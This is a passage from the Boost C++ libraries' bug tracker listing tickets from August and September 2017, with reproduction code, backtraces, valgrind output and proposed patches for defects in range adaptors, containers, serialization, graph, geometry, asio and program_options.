#13202: adjacent_filtered postcondition docs differ from behaviour

Sat, 09 Sep 2017 20:29:26 GMT

I think the documentation for adjacent_filtered's postcondition, ie:

For all adjacent elements [x,y] in the returned range, bi_pred(x,y) is true.

…isn't quite right. For example, this:

#include <boost/range/adaptor/adjacent_filtered.hpp>
#include <iostream>
#include <vector>
int main() {
        const std::vector<int> a = { 0, 1, 2, 3, 4, 5, 6 };
        const auto b = a | boost::adaptors::adjacent_filtered(
                [] (const int &x, const int &y) {
                        return ( y % 2 == 1 ) && ( y == x + 1 );
                }
        );
        for (const auto &x : b) {
                std::cerr << x << "\n";
        }
}

…outputs:

Yet two of the pairs of adjacent elements [x,y] in this range fail bi_pred(x,y) (because they differ by 2, not 1).

I think it's more like: bi_pred is true on each element in the returned range preceded by the element that preceded it in the original range (not in the returned range).

#13201: boost::container::small_vector invalid internal capacity

DirtY.iCE.hu@… — Sat, 09 Sep 2017 02:29:48 GMT

Sometimes the internal capacity of the small_vector is smaller than the specified. Take the following example:

#include <boost/container/small_vector.hpp>
#include <iostream>
int main()
{
  boost::container::small_vector<char, 15> v{ 0 };
  boost::container::small_vector<char, 15> v2(15);
  std::cout << &v << ' ' << (void*)&v[0] << ' ' << v.capacity() << ' '
            << decltype(v)::static_capacity << '\n';
  std::cout << &v2 << " " << (void*)&v2[0] << ' ' << v2.capacity() << ' '
            << decltype(v2)::static_capacity << '\n';
}

Output on amd64 linux (with clang 4.0.1, but gcc exhibits the same behavior):

0x7ffe053c4700 0x7ffe053c4718 8 15
0x7ffe053c46c8 0xbbfc20 23 15

On 32-bit (-m32):

0xffdfecb0 0xffdfecbc 12 15
0xffdfec88 0x86aea10 27 15

Even though the capacity should be 15, it's 8 on 64-bit and 12 on 32-bit, while static_capacity reports 15. When actually trying to put 15 elements into the vector, it allocates memory from heap.

#13200: test_new_operator, develop branch, test '(2 == T::m_new_calls)' failed

James E. King, III — Fri, 08 Sep 2017 21:35:14 GMT

Seeing this failure in libs/serialization, develop branch:

libs/serialization/test/test_new_operator.cpp(126): test '(2 == T::m_new_calls)' failed in function 'int test() [with T = ANew]'
libs/serialization/test/test_new_operator.cpp(134): test '(2 == T::m_new_calls)' failed in function 'int test() [with T = ANew]'
libs/serialization/test/test_new_operator.cpp(126): test '(2 == T::m_new_calls)' failed in function 'int test() [with T = ANew1]'
libs/serialization/test/test_new_operator.cpp(134): test '(2 == T::m_new_calls)' failed in function 'int test() [with T = ANew1]'

Example build jobs showing the issue for which the local changes I made would not be relevant, I tweaked the travis CI build job to run more variants and platforms:

https://travis-ci.org/jeking3/serialization/builds/273445288

#13199: execvpe has not been declared

slobodyanukma@… — Fri, 08 Sep 2017 13:34:20 GMT

According to man execvpe was introduced only since GLIBC v2.11. Attaching patch for boost/process/detail/posix/executor.hpp with more accurate GLIBC check

#13198: breadth_first_visit crashes on graphs where VertexLists is vecS

hong@… — Thu, 07 Sep 2017 17:04:06 GMT

breadth_first_search crashes if VertexLists is vecS. A minimal example is as follows:

Code highlighting:

#include <iostream>
#include <boost/graph/adjacency_list.hpp>
#include <boost/graph/breadth_first_search.hpp>
typedef boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS,
                              boost::property<boost::vertex_color_t, boost::default_color_type>> GraphType;
int main()
{
    using namespace boost;
    GraphType g;
    auto a = add_vertex(g);
    auto b = add_vertex(g);
    auto c = add_vertex(g);
    add_edge(a, b, g);
    add_edge(b, c, g);
    add_edge(c, a, g);
    typedef boost::property_map<GraphType, boost::vertex_color_t>::type color_map_t;
    color_map_t colorMap; //Create a color map
    boost::breadth_first_visit(g, *boost::vertices(g).first, boost::color_map(colorMap));
    GraphType::vertex_iterator it, itEnd;
    for (boost::tie(it, itEnd) = boost::vertices(g); it != itEnd; it++)
    {
        std::cout << "Color of node " << *it << " is " << colorMap[*it] << std::endl;
    }
}

The backtrace:

#0  0x0000555555556d70 in std::vector<boost::detail::adj_list_gen<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>::config::stored_vertex, std::allocator<boost::detail::adj_list_gen<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>::config::stored_vertex> >::operator[] (this=0x18, __n=0) at /usr/include/c++/6/bits/stl_vector.h:781
#1  0x0000555555556674 in boost::vec_adj_list_vertex_property_map<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>*, boost::default_color_type, boost::default_color_type&, boost::vertex_color_t>::operator[] (this=0x7fffffffcb60, v=0) at /usr/include/boost/graph/detail/adjacency_list.hpp:2510
#2  0x0000555555558451 in boost::put<boost::vec_adj_list_vertex_property_map<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>*, boost::default_color_type, boost::default_color_type&, boost::vertex_color_t>, boost::default_color_type&, unsigned long, boost::default_color_type> (pa=..., k=0,
    v=@0x7fffffffcbcc: boost::gray_color) at /usr/include/boost/property_map/property_map.hpp:309
#3  0x00005555555577b6 in boost::breadth_first_visit<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::queue<unsigned long, std::deque<unsigned long, std::allocator<unsigned long> > >, boost::bfs_visitor<boost::null_visitor>, boost::vec_adj_list_vertex_property_map<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>*, boost::default_color_type, boost::default_color_type&, boost::vertex_color_t>, unsigned long*> (
    g=..., sources_begin=0x7fffffffcd28, sources_end=0x7fffffffcd30, Q=..., vis=..., color=...)
    at /usr/include/boost/graph/breadth_first_search.hpp:75
#4  0x0000555555556c6b in boost::breadth_first_visit<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::queue<unsigned long, std::deque<unsigned long, std::allocator<unsigned long> > >, boost::bfs_visitor<boost::null_visitor>, boost::vec_adj_list_vertex_property_map<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>*, boost::default_color_type, boost::default_color_type&, boost::vertex_color_t> > (g=..., s=0,
    Q=..., vis=..., color=...) at /usr/include/boost/graph/breadth_first_search.hpp:104
#5  0x00005555555564a0 in boost::breadth_first_visit<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::vec_adj_list_vertex_property_map<boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>, boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, boost::property<boost::vertex_color_t, boost::default_color_type, boost::no_property>, boost::no_property, boost::no_property, boost::listS>*, boost::default_color_type, boost::default_color_type&, boost::vertex_color_t>, boost::vertex_color_t, boost::no_property> (g=..., s=0, params=...) at /usr/include/boost/graph/breadth_first_search.hpp:370
#6  0x0000555555555cce in main () at test.cpp:24

Changing vecS to listS resolves the issue, but I don't think anywhere in the doc mentions that vecS cannot be used.

#13196: buffer produces incorrect corners from linestring with asymmetric distance strategy

jan.kleemann@… — Thu, 07 Sep 2017 11:19:22 GMT

buffer() creates incorrect corners, when used on a linestring with an asymmetric distance strategy and the join_miter strategy. This happens when the "inner" distance is bigger than the "outer" distance.

See the attached images for the result and the expected result.

#13195: Parsing a local_date_time with a custom decimal point does not work

Tue, 05 Sep 2017 18:43:05 GMT

local_time_input_facet does not conform to the decimal point specified in the locale. Note that printing with the help of local_time_facet does work.

See attached file. Tested on Boost 1.58 and 1.65

#13193: multiple sockets (reuse_address) + multiple io_service = packages never received

rafal2@… — Tue, 05 Sep 2017 14:29:28 GMT

In example program, we open several UDP sockets (each on same address/port - with reuse_address), and they use several io_service.

The result is that async_receive_from never reads any data.

1) N sockets (same addr/port), using N various io_service - doe not work 2) N sockets (each own port), using N various io_service - works 3) N sockets (same addr/port), but using same 1 io_service - works 4) 1 socket - works

The full test case is in github:

https://github.com/rfree-d/cppfuns/tree/79093a5458867ddbf0d36f0170a78465194370a4/asio_udp_srv

if you run "make run" then program starts using "mport" option - each socket gets own port (so no need for the reuse flag) - and program works fine.

if you run "make run_bug" then it is started without the "mport" and all sockets listen on port 9000 - and then the program does not work

if you run the binary with no options then it shows usage (or grep sources for 'options').

You can test program by sending data to UDP 9000 localhost, or just build test program in other directory up:

https://github.com/rfree-d/cppfuns/tree/79093a5458867ddbf0d36f0170a78465194370a4/asio_udp_cli

there "make", and run it with options like "127.0.0.1 9000" it is interactive, to send many data use:

aaa 1000 100000

for big packet sent once use

aaa 1000 1

to send one packet with string "exit" use

exit 1 1

Tested on Linux Debian 8 and 9.

#13191: undefined reference error when ODR-using boost::ratio::{num,den}

anonymous — Mon, 04 Sep 2017 16:27:37 GMT

#13190: Boost releases do not include boost/crc.hpp changes

dave@… — Mon, 04 Sep 2017 06:14:14 GMT

boost/crc.hpp from boost github has a number of changes since at least 22 Dec 2011 that have not been included in any official boost release (up to at least Boost 1.65).

Changes include useful corrections to errors in defining crc types (commits c0a10f5 and 328bf50).

#13189: copy throws exception from a function defined as noexcept

kukkerman@… — Sun, 03 Sep 2017 13:08:12 GMT

When copy fails because access to the file specified by from is denied, the corresponding exception reaches a function defined as noexcept. Stack trace:

bool <anon. namespace>::error(err_t error_num, const path& p1,
                              const path& p2, error_code* ec,
                              const char* message)
void detail::copy_file(const path& from, const path& to,
                       copy_option option, error_code* ec)
void copy_file(const path& from, const path& to,
               BOOST_SCOPED_ENUM(copy_option) option,
               system::error_code& ec) BOOST_NOEXCEPT
void detail::copy(const path& from, const path& to,
                  system::error_code* ec)
void copy(const path& from, const path& to)

The exception is thrown from error, and isn't caught anywhere along the calling path. The problem is that copy_file is defined as noexcept (BOOST_NOEXCEPT to be precise, but it is resolved as noexcept under a C++11 compliant compiler), and doesn't handle the exception either, which causes program termination by implicitly calling std::terminate.

#13188: VS2017 reports typecast error in two_bit_color_map.hpp

peter.johnson@… — Fri, 01 Sep 2017 19:36:23 GMT

line 61 of boost/graph/two_bit_color_map.hpp, final parameter causes an int32 to unsigned char type conversion warning.

Maybe resolved by changing line 61 to:

std::fill(data.get(), data.get() + (n + elements_per_char - 1) / elements_per_char, static_cast<unsigned char>(white_color));

#13187: Getting Started guide has wrong information

anonymous — Fri, 01 Sep 2017 13:38:14 GMT

On the page http://www.boost.org/doc/libs/1_65_0/more/getting_started/windows.html under section 1 there is a download link. In Section 2 it mentions a directory structure and claims that there is a "lib" dir in the boost root dir. However there is no "lib" dir with pre-compiled binaries, that only seems to be included with the Windows binary downloads and not in the file/download mentioned in Section 1.

Might want to change the wording in the guide to match how things are now.

Thanks!

#13186: Memory leak in serialization 1.65

anonymous — Fri, 01 Sep 2017 10:25:46 GMT

Hi, we are seeing a seg fault seemingly caused by a difference between boost serialization 1.64 and 1.65 (no problems in 1.64 or any other boost we are currently testing >1.48 as part of Chaste computational physiology library). Unfortunately the minimal failing test is a bit complicated I'm afraid, this only seems to show up with a hierarchy of serialization classes.

I've attached valgrind memory testing output which should hopefully give all the clues needed to track it down:

==20488== Memcheck, a memory error detector
==20488== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==20488== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==20488== Command: mesh/build/debug_hostconfig,boost=1-65/TestNodesOnlyMeshRunner -malloc_debug -malloc_dump -memory_info
==20488== Parent PID: 20487
==20488==
==20488== Invalid read of size 8
==20488==    at 0x7E55025: boost::serialization::typeid_system::extended_type_info_typeid_0::type_unregister() (in /home/robert/boost_1_65/lib/libboost_serialization.so.1.65.0)
==20488==    by 0x4756E6: boost::serialization::extended_type_info_typeid<AbstractTetrahedralMesh<3u, 3u> >::~extended_type_info_typeid() (extended_type_info_typeid.hpp:96)
==20488==    by 0x474F02: boost::serialization::singleton<boost::serialization::extended_type_info_typeid<AbstractTetrahedralMesh<3u, 3u> > >::get_instance()::singleton_wrapper::~singleton_wrapper() (in /home/garmir/workspace/Chaste/mesh/build/debug_hostconfig,boost=1-65/TestNodesOnlyMeshRunner)
==20488==    by 0x9E2E1A8: __run_exit_handlers (exit.c:82)
==20488==    by 0x9E2E1F4: exit (exit.c:104)
==20488==    by 0x9E13F4B: (below main) (libc-start.c:321)
==20488==  Address 0x17bd1740 is 32 bytes inside a block of size 40 free'd
==20488==    at 0x4C2C2BC: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==20488==    by 0x7E55572: boost::serialization::singleton<std::multiset<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> > >::get_instance()::singleton_wrapper::~singleton_wrapper() (in /home/robert/boost_1_65/lib/libboost_serialization.so.1.65.0)
==20488==    by 0x9E2E539: __cxa_finalize (cxa_finalize.c:56)
==20488==    by 0x7E4D402: ??? (in /home/robert/boost_1_65/lib/libboost_serialization.so.1.65.0)
==20488==    by 0x40108D9: _dl_fini (dl-fini.c:252)
==20488==    by 0x9E2E1A8: __run_exit_handlers (exit.c:82)
==20488==    by 0x9E2E1F4: exit (exit.c:104)
==20488==    by 0x9E13F4B: (below main) (libc-start.c:321)
==20488==
==20488== Invalid read of size 8
==20488==    at 0x7E55036: boost::serialization::typeid_system::extended_type_info_typeid_0::type_unregister() (in /home/robert/boost_1_65/lib/libboost_serialization.so.1.65.0)
==20488==    by 0x4756E6: boost::serialization::extended_type_info_typeid<AbstractTetrahedralMesh<3u, 3u> >::~extended_type_info_typeid() (extended_type_info_typeid.hpp:96)
==20488==    by 0x474F02: boost::serialization::singleton<boost::serialization::extended_type_info_typeid<AbstractTetrahedralMesh<3u, 3u> > >::get_instance()::singleton_wrapper::~singleton_wrapper() (in /home/garmir/workspace/Chaste/mesh/build/debug_hostconfig,boost=1-65/TestNodesOnlyMeshRunner)
==20488==    by 0x9E2E1A8: __run_exit_handlers (exit.c:82)
==20488==    by 0x9E2E1F4: exit (exit.c:104)
==20488==    by 0x9E13F4B: (below main) (libc-start.c:321)
==20488==  Address 0x17bd1738 is 24 bytes inside a block of size 40 free'd
==20488==    at 0x4C2C2BC: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==20488==    by 0x7E55572: boost::serialization::singleton<std::multiset<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> > >::get_instance()::singleton_wrapper::~singleton_wrapper() (in /home/robert/boost_1_65/lib/libboost_serialization.so.1.65.0)
==20488==    by 0x9E2E539: __cxa_finalize (cxa_finalize.c:56)
==20488==    by 0x7E4D402: ??? (in /home/robert/boost_1_65/lib/libboost_serialization.so.1.65.0)
==20488==    by 0x40108D9: _dl_fini (dl-fini.c:252)
==20488==    by 0x9E2E1A8: __run_exit_handlers (exit.c:82)
==20488==    by 0x9E2E1F4: exit (exit.c:104)
==20488==    by 0x9E13F4B: (below main) (libc-start.c:321)

Incidentally, the consequences are exactly the same as a problem that existed in boost 1.46 and was fixed in 1.48. I don't know if the underlying problem is related.

#13185: serialization of null pointer fails in optimized builds

tyler@… — Thu, 31 Aug 2017 23:18:18 GMT

invoke in oserializer.hpp dereferences a pointer (UB for nullptrs), and then checks if it is null on the next line. The optimizer detects this UB and assumes the pointer cannot be null, and optimizes the whole if block out. This affected our code in production (serializing nullptrs was a corner case for us), so I assume it's affecting other folks.

Here's a demo of clang trunk performing this optimization (earlier versions didn't perform this optimization): https://godbolt.org/g/y6sbZP

https://github.com/boostorg/serialization/blob/6b33d1cd4e11daaf97612561ecd9d4848843897c/include/boost/archive/detail/oserializer.hpp#L468

    template<class TPtr>
    static void invoke(Archive &ar, const TPtr t){
        register_type(ar, * t);
        if(NULL == t){
            basic_oarchive & boa
                = boost::serialization::smart_cast_reference<basic_oarchive &>(ar);
            boa.save_null_pointer();
            save_access::end_preamble(ar);
            return;
        }
        save(ar, * t);
    }

Modifying the code to this, works as expected (although there's still a dereference of a null):

    template<class TPtr>
    static void invoke(Archive &ar, const TPtr t){
        if(NULL == t){
            register_type(ar, * t);
            basic_oarchive & boa
                = boost::serialization::smart_cast_reference<basic_oarchive &>(ar);
            boa.save_null_pointer();
            save_access::end_preamble(ar);
            return;
        } else {
            register_type(ar, * t);
        }
        save(ar, * t);
    }

#13184: child move constructor does not set _terminated member

helmet23 — Thu, 31 Aug 2017 15:45:35 GMT

In 'process/include/boost/process/detail/child_decl.hpp' child move constructor does not set '_terminated' member.

#13183: boost wave fails to compile with Clang on Windows

anonymous — Thu, 31 Aug 2017 10:09:12 GMT

boost wave fails to compile with Clang on Windows, there are a lot of issues of type: \boost/wave/grammars/cpp_expression_grammar.hpp:829:18: error: case value evaluates to -804257404, which cannot be narrowed to type 'unsigned int' [-Wc++11-narrowing]

case T_CPPCOMMENT: contains newline

#13182: Boost.Fiber ignores lambda captures

Wed, 30 Aug 2017 00:43:19 GMT

In version 1.65, the following code doesn't work:

boost::fibers::fiber([p=std::make_shared<std::string>("Hi")]{

assert(p);

}).detach();

This probably because when you call std::apply(std::move(fn_), std::move( arg_)) in function "worker_context::run_", should have used "fn" and "arg" instead of "fn_" and "arg_".

Please look at "boost\fiber\context.hpp" line 428

#13180: Loop vectorisation using boost multi_array

Mon, 28 Aug 2017 07:08:40 GMT

Dear all

I am trying to optimize a huge code that uses boost multi-arrays. And when I compile the code with the -qopt-report=2 -qopt-report-phase=vec options, I notice in the compilation report that most loops are not vectorized.

I thus made a simple program to understand why, and I noticed that a loop that uses C array is vectorized, while the same loop using boost multi array is not (see test_vector.cpp) (see attached .cpp file). I get the following message:

LOOP BEGIN at test_vector.cpp(29,5)
   remark #15520: loop was not vectorized: loop with multiple exits cannot be vectorized unless it meets search loop idiom criteria
LOOP END

A way to overcome this would be to use the data pointer in combination with the #pragma ivdep statement, but this becomes complicated when working on multimensional arrays.

I thus would like to know if I am doing something wrong (for instance in the boost array initialisation), and if there is a way to fix this?

I am using the icpc compiler, version 16.0.4, with boost library version 1.65. The program is compiled as follows:

icpc -Ilibs/cpp/boost_1_65_0/ -O3 -qopt-report=2 -qopt-report-phase=vec test_vector.cpp

Thanks a lot

Nicolas Barrier

#13179: geometry::covered_by and geometry::within not working for certain values

Fri, 25 Aug 2017 21:04:11 GMT

covered_by and within return false even if the point is obviously located within the polygon, as the following code demonstrates:

#include <iostream>
#include <boost/version.hpp>
#include <boost/geometry.hpp>
#include <boost/geometry/geometries/point_xy.hpp>
#include <boost/geometry/geometries/polygon.hpp>
typedef boost::geometry::model::d2::point_xy<double> Point;
typedef boost::geometry::model::polygon<Point> Polygon;
int main() {
    std::cout << "Running Boost in version " << BOOST_VERSION << std::endl;
    Polygon polygon;
    std::vector<Point> points;
    points.emplace_back(Point(68.3, 35.5));
    points.emplace_back(Point(68.3, 35.6));
    points.emplace_back(Point(70.3, 35.9));
    points.emplace_back(Point(70.3, 35.8));
    Point point(69.2, 35.7);
    boost::geometry::assign_points(polygon, points);
    std::cout << "Point is covered by polygon: " << boost::geometry::covered_by(point, polygon) << std::endl;
    std::cout << "Point is within by polygon: " << boost::geometry::within(point, polygon) << std::endl;
    return 0;
}

which gives:

Running Boost in version 106500
Point is covered by polygon: 0
Point is within by polygon: 0

#13177: Possible loss of data warnings

anonymous — Thu, 24 Aug 2017 21:58:45 GMT

In aggregate_operations.hpp, struct rank_with_rings, there are conversions from signed_size_type to int, there are similar conversions in traversal_intersection_patterns.hpp. This is causing loss of data warnings in the project I work on, which prevent the build from completing due to treating warnings as errors.

#13174: boost::property_tree::read_json throws exception (see attachment)

anonymous — Tue, 22 Aug 2017 00:38:04 GMT

boost::property_tree::ptree tree;
std::stringstream ss("{\"name\": \"test\"}");
boost::property_tree::read_json(ss, tree);

#13173: "program_options" build fail. "boost::lambda" is working without any problem.

Mon, 21 Aug 2017 19:52:22 GMT

Hello,

"program_options" build fail. "boost::lambda" is working without any problem.

This example below doesn't work:

#include "boost/program_options.hpp"
namespace po = boost::program_options;
#include <iostream>
#include <iterator>
using namespace std;
int main(int ac, char* av[])
{
    try {
        po::options_description desc("Allowed options");
        desc.add_options()
                ("help", "produce help message")
                ("compression", po::value<double>(), "set compression level");
        po::variables_map vm;
        po::store(po::parse_command_line(ac, av, desc), vm);
        po::notify(vm);
        if (vm.count("help")) {
            cout << desc << "\n";
            return 0;
        }
        if (vm.count("compression")) {
            cout << "Compression level was set to "
                 << vm["compression"].as<double>() << ".\n";
        } else {
            cout << "Compression level was not set.\n";
        }
    }
    catch(exception& e) {
        cerr << "error: " << e.what() << "\n";
        return 1;
    }
    catch(...) {
        cerr << "Exception of unknown type!\n";
    }
    return 0;
}

[ 50%] Linking CXX executable mem1
Undefined symbols for architecture x86_64:
  "boost::program_options::validators::check_first_occurrence(boost::any const&)", referenced from:
      void boost::program_options::validate<double, char>(boost::any&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&, double*, long) in main.cpp.o
  "boost::program_options::to_internal(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)", referenced from:
      std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > boost::program_options::to_internal<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > >(std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&) in main.cpp.o
  "boost::program_options::variables_map::variables_map()", referenced from:
      _main in main.cpp.o
  "boost::program_options::validation_error::get_template(boost::program_options::validation_error::kind_t)", referenced from:
      boost::program_options::validation_error::validation_error(boost::program_options::validation_error::kind_t, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, int) in main.cpp.o
  "boost::program_options::options_description::add_options()", referenced from:
      _main in main.cpp.o
  "boost::program_options::options_description::m_default_line_length", referenced from:
      _main in main.cpp.o
  "boost::program_options::options_description::options_description(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, unsigned int, unsigned int)", referenced from:
      _main in main.cpp.o
  "boost::program_options::invalid_option_value::invalid_option_value(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)", referenced from:
      void boost::program_options::validate<double, char>(boost::any&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&, double*, long) in main.cpp.o
  "boost::program_options::error_with_option_name::error_with_option_name(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, int)", referenced from:
      boost::program_options::validation_error::validation_error(boost::program_options::validation_error::kind_t, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, int) in main.cpp.o
  "boost::program_options::options_description_easy_init::operator()(char const*, boost::program_options::value_semantic const*, char const*)", referenced from:
      _main in main.cpp.o
  "boost::program_options::options_description_easy_init::operator()(char const*, char const*)", referenced from:
      _main in main.cpp.o
  "boost::program_options::arg", referenced from:
      boost::program_options::typed_value<double, char>::name() const in main.cpp.o
  "boost::program_options::store(boost::program_options::basic_parsed_options<char> const&, boost::program_options::variables_map&, bool)", referenced from:
      _main in main.cpp.o
  "boost::program_options::detail::cmdline::set_additional_parser(boost::function1<std::__1::pair<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > >, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&>)", referenced from:
      boost::program_options::basic_command_line_parser<char>::extra_parser(boost::function1<std::__1::pair<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > >, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&>) in main.cpp.o
  "boost::program_options::detail::cmdline::set_options_description(boost::program_options::options_description const&)", referenced from:
      boost::program_options::basic_command_line_parser<char>::options(boost::program_options::options_description const&) in main.cpp.o
  "boost::program_options::detail::cmdline::get_canonical_option_prefix()", referenced from:
      boost::program_options::basic_command_line_parser<char>::run() in main.cpp.o
  "boost::program_options::detail::cmdline::run()", referenced from:
      boost::program_options::basic_command_line_parser<char>::run() in main.cpp.o
  "boost::program_options::detail::cmdline::style(int)", referenced from:
      boost::program_options::basic_command_line_parser<char>::style(int) in main.cpp.o
  "boost::program_options::detail::cmdline::cmdline(std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&)", referenced from:
      boost::program_options::basic_command_line_parser<char>::basic_command_line_parser(int, char const* const*) in main.cpp.o
  "boost::program_options::notify(boost::program_options::variables_map&)", referenced from:
      _main in main.cpp.o
  "boost::program_options::operator<<(std::__1::basic_ostream<char, std::__1::char_traits<char> >&, boost::program_options::options_description const&)", referenced from:
      _main in main.cpp.o
  "boost::program_options::abstract_variables_map::operator[](std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) const", referenced from:
      boost::program_options::variables_map::operator[](std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) const in main.cpp.o
  "boost::program_options::error_with_option_name::substitute_placeholders(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) const", referenced from:
      vtable for boost::exception_detail::clone_impl<boost::exception_detail::error_info_injector<boost::program_options::validation_error> > in main.cpp.o
      vtable for boost::exception_detail::error_info_injector<boost::program_options::validation_error> in main.cpp.o
      vtable for boost::program_options::validation_error in main.cpp.o
      vtable for boost::exception_detail::clone_impl<boost::exception_detail::error_info_injector<boost::program_options::invalid_option_value> > in main.cpp.o
      vtable for boost::exception_detail::error_info_injector<boost::program_options::invalid_option_value> in main.cpp.o
      vtable for boost::program_options::invalid_option_value in main.cpp.o
  "boost::program_options::error_with_option_name::what() const", referenced from:
      vtable for boost::exception_detail::clone_impl<boost::exception_detail::error_info_injector<boost::program_options::validation_error> > in main.cpp.o
      vtable for boost::exception_detail::error_info_injector<boost::program_options::validation_error> in main.cpp.o
      vtable for boost::program_options::validation_error in main.cpp.o
      vtable for boost::exception_detail::clone_impl<boost::exception_detail::error_info_injector<boost::program_options::invalid_option_value> > in main.cpp.o
      vtable for boost::exception_detail::error_info_injector<boost::program_options::invalid_option_value> in main.cpp.o
      vtable for boost::program_options::invalid_option_value in main.cpp.o
  "boost::program_options::value_semantic_codecvt_helper<char>::parse(boost::any&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&, bool) const", referenced from:
      vtable for boost::program_options::typed_value<double, char> in main.cpp.o
  "typeinfo for boost::program_options::error_with_option_name", referenced from:
      typeinfo for boost::program_options::validation_error in main.cpp.o
  "typeinfo for boost::program_options::value_semantic_codecvt_helper<char>", referenced from:
      typeinfo for boost::program_options::typed_value<double, char> in main.cpp.o
  "vtable for boost::program_options::variables_map", referenced from:
      boost::program_options::variables_map::~variables_map() in main.cpp.o
  NOTE: a missing vtable usually means the first non-inline virtual member function has no definition.
  "vtable for boost::program_options::error_with_option_name", referenced from:
